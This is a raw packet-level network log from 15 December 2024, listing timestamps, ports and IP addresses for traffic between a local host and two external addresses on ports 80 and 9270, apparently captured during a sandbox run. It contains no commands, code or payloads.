Dec 15, 2024 11:59:27.601125956 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.609560013 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.609618902 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.609669924 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.617871046 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.617924929 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.617944002 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.617983103 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.625968933 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.626045942 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.626099110 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.664799929 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.664876938 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.664891005 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.664937973 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.678674936 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:27.678746939 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:27.737127066 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.737186909 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.737215996 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.737262964 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.739221096 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.739274025 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.739340067 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.739406109 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.744023085 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.744062901 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.745587111 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.745639086 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.745738983 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.745773077 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.750396967 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.750435114 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.750549078 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.750585079 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.755135059 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.755188942 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.755269051 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.755307913 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.759870052 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.759907007 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.759988070 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.760023117 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.764486074 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.764525890 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.764700890 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.764739990 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.769030094 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.769040108 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.769058943 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.769087076 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.773449898 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.773494959 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.773511887 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.773542881 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.778079033 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.778116941 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.778193951 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.778228998 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.782546997 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.782588005 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.782761097 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.782799006 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.787154913 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.787198067 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.787326097 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.787369013 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.791647911 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.791687965 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.791826963 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.791866064 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.796144009 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.796184063 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.796302080 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.796341896 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.798576117 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:27.798619032 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:27.799792051 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.799828053 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.799895048 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.799932003 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.803503036 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.803543091 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.803725958 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.803760052 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.807066917 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.807112932 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.807188988 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.807229042 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.810765982 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.810805082 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.810869932 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.810905933 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.814423084 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.814466000 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.814507008 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.814543009 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.818088055 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.818126917 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.818260908 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.818298101 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.821806908 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.821839094 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.821856022 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.821892023 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.857060909 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.857076883 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.857105017 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.857120991 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.858838081 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.858872890 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.858890057 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.858922958 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.862488985 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.862526894 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.919715881 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:27.919832945 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:27.928783894 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.928859949 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.928888083 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.928929090 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.930226088 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.930286884 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.930346966 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.930387020 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.933067083 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.933123112 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.933180094 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.933218956 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.935877085 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.935918093 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.936007023 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.936043978 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.938797951 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.938807011 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.938834906 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.938849926 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.941648006 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.941688061 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.941838026 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.941874981 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.944212914 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.944261074 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.944334984 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.944374084 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.946805954 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.946846962 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.946933031 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.946970940 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.949435949 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.949472904 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.949536085 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.949573994 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.951992035 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.952028990 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.952301025 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.952338934 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.954521894 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.954564095 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.954638004 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.954674959 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.957067013 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.957112074 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.957127094 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.957169056 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.959702969 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.959773064 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.959794044 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.959831953 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.962203026 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.962240934 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.962297916 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.962335110 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.964735031 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.964777946 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.964840889 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.964879036 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.967602015 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.967654943 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.967672110 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.967706919 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.970024109 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.970081091 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.970103025 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.970143080 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.972503901 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.972558975 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.972645044 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.972686052 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.974960089 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.975018024 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.975092888 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.975138903 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.977552891 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.977607965 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.977845907 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.977885962 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.980113029 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.980169058 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.980186939 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.980230093 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.982645988 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.982705116 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.982880116 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.982918978 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.984718084 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.984755039 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.984771967 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.984808922 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.986496925 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.986536980 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.986610889 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.986656904 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.988393068 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.988439083 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.988502979 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.988538980 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.990355968 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.990406990 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.990423918 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.990458965 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.992273092 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.992311954 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.992445946 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.992484093 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.994061947 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.994110107 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.994262934 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.994302034 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.995985031 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.996041059 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.996088028 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.996133089 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.997874022 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.997917891 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.997987986 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.998030901 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:27.999942064 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:27.999988079 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.000006914 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.000042915 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.001703978 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.001744986 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.039607048 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:28.039680958 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:28.121277094 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.121290922 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.121356964 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.121943951 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.121978045 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.121978045 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.122190952 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.122230053 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.123493910 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.123533010 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.123647928 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.123687983 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.125081062 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.125121117 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.125185013 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.125222921 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.126717091 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.126755953 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.126816034 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.126857996 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.128165960 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.128212929 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.128235102 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.128272057 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.129705906 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.129748106 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.129812956 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.129853010 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.131252050 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.131294966 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.131303072 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.131337881 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.132863998 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.132903099 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.132980108 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.133014917 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.134313107 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.134351969 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.134427071 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.134464979 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.135900974 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.135940075 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.135982037 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.136023045 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.137432098 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.137550116 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.137567043 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.137604952 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.138979912 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.139018059 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.139117002 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.139156103 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.140523911 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.140568972 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.140587091 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.140625000 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.142056942 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.142093897 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.142225981 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.142263889 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.143657923 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.143667936 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.143707991 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.145153999 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.145196915 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.145245075 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.145286083 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.146672010 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.146713018 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.146794081 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.146832943 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.148238897 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.148279905 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.148370028 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.148408890 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.149785995 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.149825096 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.149879932 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.149914980 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.151360989 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.151400089 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.151418924 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.151456118 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.152857065 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.152898073 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.153000116 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.153038025 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.154443979 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.154484034 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.154536963 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.154575109 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.156029940 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.156085014 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.156106949 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.156115055 CET	49805	80	192.168.2.4	31.41.244.11
